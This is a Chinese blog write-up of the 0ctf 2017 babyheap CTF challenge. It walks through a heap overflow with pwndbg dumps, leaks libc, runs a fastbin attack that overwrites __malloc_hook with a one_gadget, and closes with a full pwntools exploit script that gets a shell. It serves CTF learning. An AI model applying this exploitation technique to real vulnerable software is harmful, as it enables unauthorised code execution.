0ctf_2017_babyheap详解

已于 2023-07-05 15:53:07 修改
阅读量3.7k 收藏 13
点赞数 18
分类专栏： CTF 文章标签： buu babyheap
于 2021-04-19 23:51:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43935969/article/details/115877748
版权

本文主要列出0ctf_2017_babyheap的详细过程

主要参考：https://bbs.pediy.com/thread-223461.htm

程序流程

  1. allocate：申请size大小的块
  2. fill：对idx的块，设置size，并填入content
  3. free：释放idx的块
  4. dump：打印idx的块内容

漏洞分析

fill中的size可以重新设置，故可以造成堆溢出。

方法：fastbin attack

  1. double free泄露libc

    【small/large chunk释放，fd和bk指向main_arena】

  2. fastbin attack写malloc_hook为one_gadget

详细过程

1.保护
winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap 
[*] '/home/winter/buu/0ctf_2017_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
2.申请初始块

四个0x10、一个0x80

第0个块作用：方便修改第1、2块

第3个块作用：方便修改0x80的块

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60f0:	0x0000000000000000	0x0000000000000000
0x5614ee1f6100:	0x0000000000000000	0x0000000000000000
0x5614ee1f6110:	0x0000000000000000	0x0000000000020ef1
0x5614ee1f6120:	0x0000000000000000	0x0000000000000000
0x5614ee1f6130:	0x0000000000000000	0x0000000000000000
0x5614ee1f6140:	0x0000000000000000	0x0000000000000000
0x5614ee1f6150:	0x0000000000000000	0x0000000000000000
0x5614ee1f6160:	0x0000000000000000	0x0000000000000000
0x5614ee1f6170:	0x0000000000000000	0x0000000000000000
0x5614ee1f6180:	0x0000000000000000	0x0000000000000000
3.释放1、2块

为double free做准备，其中 块2指向块1

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
fd: 0x00

#2
#指向块1，先进后出
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6020

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6020	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60f0:	0x0000000000000000	0x0000000000000000
0x5614ee1f6100:	0x0000000000000000	0x0000000000000000
0x5614ee1f6110:	0x0000000000000000	0x0000000000020ef1
0x5614ee1f6120:	0x0000000000000000	0x0000000000000000
0x5614ee1f6130:	0x0000000000000000	0x0000000000000000
0x5614ee1f6140:	0x0000000000000000	0x0000000000000000
0x5614ee1f6150:	0x0000000000000000	0x0000000000000000
0x5614ee1f6160:	0x0000000000000000	0x0000000000000000
0x5614ee1f6170:	0x0000000000000000	0x0000000000000000
0x5614ee1f6180:	0x0000000000000000	0x0000000000000000
4.令释放块2指向块4

通过漏洞fill堆溢出，修改块2里指向块1的低地址，修改为0x80，即可使得块2指向块4

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6080	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
5.为绕过检测，修改块4：0x80->0x10

溢出实现

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6080	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000021
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000

修改成功，但是由于chunk4的大小修改了，故找不到top chunk了，故后期需要把大小：0x10->0x80

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6080

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

通过溢出，成功修改了chunk2指向chunk4，导致未释放的chunk4加入到了bin中，重新allocate，导致idx=2、4都为同一个块。

pwndbg> bins
fastbins
0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
6.重新申请回两个块

1、2、4

释放：块1->块2

修改：块2->块4

重新申请：块4->块2（idx1->idx2）

故

  • 原块1直接释放态->allocate态
  • 原块2->idx1
  • 原块4->idx2
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

#先进后出
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
7.重新修改chunk4：0x10->0x80

为了让top chunk重新找得到，故需要重新讲chunk4的大小修改回0x80，以便于之后申请操作。

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000

pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#2、4
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
8.申请一个块，防止块4free与top chunk合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

#alloc(0x80)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
9.释放chunk4

因为此时idx2、4都指向chunk4，故可以释放chunk4，此时它里面会填入main_arena中地址，可以计算得到libc_base

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
10.打印idx2(即idx4内容)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
11.申请0x60的块

新块的idx为4（把idx4给了分配的块，为分配的0x21没有idx）

切割0x91的块，剩下0x21放入了unsortedbin中

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
12.释放0x60的块

再次释放0x60的块，放入了fastbin中，为fastbin后面继续申请0x60的堆地址提供了帮助，，，

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x00

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
13.修改idx2的内容，为malloc_hook附近构造chunk的地址

需要改地址，有fastbin大小的八字节数字，，，

#payload = p64(libc_base+0x3c4aed)
#fill(2, payload)

pwndbg> x/30gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000071
0x5614ee1f6090:	0x00007f6a86e67aed	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x7f6a86e67aed#修改后的地址

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
#接下来申请两遍，即可得到0x7f6a86e67aed地址的块，可以对0x7f6a86e67aed进行数据读写
0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty
14.申请回第一个0x60块
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61


pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty


pwndbg> x/30gx 0x7f6a86e67aed
0x7f6a86e67aed <_IO_wide_data_0+301>:	0x6a86e66260000000	0x000000000000007f
0x7f6a86e67afd:	0x6a86b28ea0000000	0x6a86b28a7000007f
0x7f6a86e67b0d <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7f6a86e67b1d:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b2d <main_arena+13>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b3d <main_arena+29>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b4d <main_arena+45>:	0x6a86e67aed000000	0x000000000000007f
0x7f6a86e67b5d <main_arena+61>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b6d <main_arena+77>:	0x0000000000000000	0x14ee1f61a0000000
0x7f6a86e67b7d <main_arena+93>:	0x14ee1f60f0000056	0x14ee1f60f0000056
0x7f6a86e67b8d <main_arena+109>:	0x14ee1f60f0000056	0x6a86e67b88000056
0x7f6a86e67b9d <main_arena+125>:	0x6a86e67b8800007f	0x6a86e67b9800007f
0x7f6a86e67bad <main_arena+141>:	0x6a86e67b9800007f	0x6a86e67ba800007f
0x7f6a86e67bbd <main_arena+157>:	0x6a86e67ba800007f	0x6a86e67bb800007f
0x7f6a86e67bcd <main_arena+173>:	0x6a86e67bb800007f	0x6a86e67bc800007f

pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>:	0x00007f6a86b28ea0	0x00007f6a86b28a70
0x7f6a86e67b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b20 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b40 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b50 <main_arena+48>:	0x6a86b28ea0000000	0x0000000000000000
0x7f6a86e67b60 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b70 <main_arena+80>:	0x0000000000000000	0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>:	0x00005614ee1f60f0	0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>:	0x00005614ee1f60f0	0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>:	0x00007f6a86e67b88	0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>:	0x00007f6a86e67b98	0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>:	0x00007f6a86e67ba8	0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>:	0x00007f6a86e67bb8	0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>:	0x00007f6a86e67bc8	0x00007f6a86e67bd8

pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b10 <__malloc_hook>:	0x00007f6a86ae826a	0x0000000000000000
0x7f6a86e67b20 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b40 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b50 <main_arena+48>:	0x6a86b28ea0000000	0x0000000000000000
0x7f6a86e67b60 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b70 <main_arena+80>:	0x0000000000000000	0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>:	0x00005614ee1f60f0	0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>:	0x00005614ee1f60f0	0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>:	0x00007f6a86e67b88	0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>:	0x00007f6a86e67b98	0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>:	0x00007f6a86e67ba8	0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>:	0x00007f6a86e67bb8	0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>:	0x00007f6a86e67bc8	0x00007f6a86e67bd8
15.申请到假的chunk，修改malloc_hook->gadget

最后只要执行malloc操作，即可get shell

allo(0x60)
allo(0x60)

payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)

完整exp

from pwn import *

p = process("./0ctf_2017_babyheap")
#p=remote("node3.buuoj.cn",25261)

context.log_level = 'debug'
def allo(size):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.recvuntil("Size: ")
	p.sendline(str(size))

def fill(idx,size,content):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.recvuntil("Index: ")
	p.sendline(str(idx))
	p.recvuntil("Size: ")
	p.sendline(str(size))
	p.recvuntil("Content: ")
	p.sendline(content)

def free(idx):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

allo(0x80)

free(4)

dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))

allo(0x60)

free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

allo(0x60)
allo(0x60)
gdb.attach(p)
pause()


payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)
# gdb.attach(p)
p.interactive()

常规的堆题流程，，，经典题目

书文的学习记录本
关注
  • 18
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
babyheap_0_ctf_2017
m0_48127441的博客
04-01 192
漏洞就是劫持程序控制流 先对程序进行分析 alloc(Length) //struct a_malloc{int use_or_not; int Length;void*base;int un_use} ; struct a_malloc malloc_array[16]; fill(任意长度) free(指定块) dump(输出对应chunk的Length)//可以填充任意长度的数据，即可以修改 chunk头 目标 -->劫持程序控制流 --> 把__malloc_hoo...
babyheap_0ctf_2017 详细解析【BUUCTF】
qq_41696518的博客
09-06 2735
好家伙，保护全开，根据文件名，可以判断这是一道堆题目，刷了这么久，终于遇到堆题目了，解析就写的详细点。先看main函数，很简单就是各类个目录函数，一步一步来看把。
我又pwn啦——*刷题篇 babyheap_0ctf_2017
m0_64195960的博客
07-28 622
babyheap
babyheap_0ctf_2017
m0sway的博客
11-25 509
babyheap_0ctf_2017 使用checksec查看： 保护全开，看到PIE的时候就想到需要泄露libc_base_addr了 拉进IDA中看吧： 一个死循环，主要功能Allocate、Fill、Free、Dump，这边我已经修改函数名了，接下来一个一个看 首先是创建堆： 最多创建15个chunk、每个chunk的最大size是4096 *(0x18LL * i + a1) = 1;创建chunk时给了标志1 接着是编辑堆内容： 判断了标志存不存在，若chunk存在，让用户输入size存放
0ctf Babyheap 2017
Bill
03-11 6359
0ctf 2017 BabyHeap 1. 题目分析 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 如果RELRO: Partial RELRO, 有可能是格式化字符串。 结论...
轩禹CTF_RSA工具3.6.1.zip
最新发布
01-29
CTF常用工具集
CTF_snow_隐写工具
05-19
CTF_snow_隐写工具，找了好久才找到，非常好用，打CTF比赛必备！！！
ctf-tools-linux-master_ctf工具_ctf工具_CTFtools_CTF_Tools_
10-01
CTF常用小工具你值得拥有那个。。。。111
CTF_AWD_Platform:CTF 攻防对抗平台
05-03
开发目的即一款优秀的专用于比赛的CTF平台，它丰富的比赛内容，灵活的比赛模式以及各项人性化的功能模块满足了比赛举办者的所有要求。然而，同时并不局限于比赛的用途，使用者同样可以用来练习CTF解题和靶机攻防。...
0ctf_tctf_2018
05-16
0 CTF / TCTF 2018 0CTF / TCTF 2018决赛中的一些加密挑战
0ctf2017-babyheap
weixin_30878361的博客
08-03 308
前言 又是一道令人怀疑人生的 baby 题。 这道题利用思路非常巧妙,通过 堆溢出 和 fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadget 来 getshell. 题目和 idb 文件：https://gitee.com/hac425/blog_data/tree/maste...
BUUCTF 0ctf_2017_babyheap
m0_57754423的博客
02-15 206
简单说一下这个题目的思路： 1.泄露libc: 编辑chunk的时候存在堆溢出，可以通过堆溢出，修改两个不同的指针，指向同一个chunk,随后free掉其中一个，即可dump其中内存，main_arena的地址。 2.同样再次利用堆溢出，修改其中一个chunk的fd指针为__malloc_hook,然后修改malloc_hook为one_gadget。 这里解答一个疑惑，为什么不写got表？ 1，首先 RELRO保护全开，是不可写的。 2，其次，bss段上很难找到数据通过size检查。 完整.
攻防世界PWN之Babyheap(null off by one)题解
seaaseesa的博客
11-20 2039
Babyheap(null off by one) 本题用到的知识 malloc_hook、realloc_hook、fastbin attack、unsorted bin合并 首先，检查一下程序的保护机制,保护全开 然后用IDA分析，发现在创建并读入数据时，有一个null off by one漏洞 我们所能利用的也就是这个漏洞 第一步仍然是想办法泄露一些关键地址 由于可以溢...
0ctf babyheap
qq_41071646的博客
05-13 471
这个题 一开始 不知道是怎么回事 然后这个程序开了 保护全开 基址随机化 这就要我们自己把libc的基址给泄露出来 泄露的方法我知道的是 把堆 free到 unsortbin的fd和bk指向自身main_arena 然后可以根据 main_arena 的偏移 搞出libc 库 道理都懂 但是怎么做 就不好说了 现在这里就有一道题 典型的菜单题 然后 看一下大概内容 有没...
绝对详细的babyheap_0ctf_2017题解
xieyichensss的博客
04-24 994
这是我第一次做堆题，其他师傅的wp都看了一个周左右，才把大概所有我不明白的地方搞懂。 直接上其他师傅的exp，然后逐步分析叭。（希望我尽快可以自己做堆） from pwn_debug import * pdbg = pwn_debug(‘babyheap_0ctf_2017’) pdbg.remote(‘node3.buuoj.cn’,26076) p = pdbg.run(‘remote’) def allocate(size): p.recvuntil('Command: ') p.sendline(‘
0ctf_2017_babyheap
qq_46441427的博客
08-13 130
思路 查看了一下ida后，发现有堆溢出漏洞 那可以利用unsorted bin 泄露main arena的地址，然后在malloc_hook处构造fake_chunk ,利用one_gadget在malloc_hook写入函数值，可以getshell ps：注意本地libc的问题 exp及具体分析 from pwn import* context.log_level = 'debug' #p = process('./babyheap') p = remote('node4.buuoj.cn','289
0ctf2017 babyheap
pondzhang的专栏
12-06 157
from pwn import * #p = process(['./0ctf_2017_babyheap'],env={"LD_PRELOAD":"./libc-2.23.so"}) p = remote("node3.buuoj.cn",26165) elf = ELF('./0ctf_2017_babyheap') libc = ELF("./libc-2.23.so") def Allocate(size): p.recvuntil('Command: ') p.sendl.
2017/2018-0ctf-babyheap-writeup
【xiaoxiaorenwu's blog】
04-07 756
因为最近2019届0ctf-tctf开始了，想去水一水，特别把2018的babyheap和2017的babyheap做了一下汲取一下经验，感觉两题类型相似，大致思路相同，2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写，有助于加深对fastbin_attack的理解，和提高知识运用的灵活性。 首先提供两道题目的二进制文件：2017_0ctf_babyheap 2018...
x_ctf_b0verfl0w
10-22
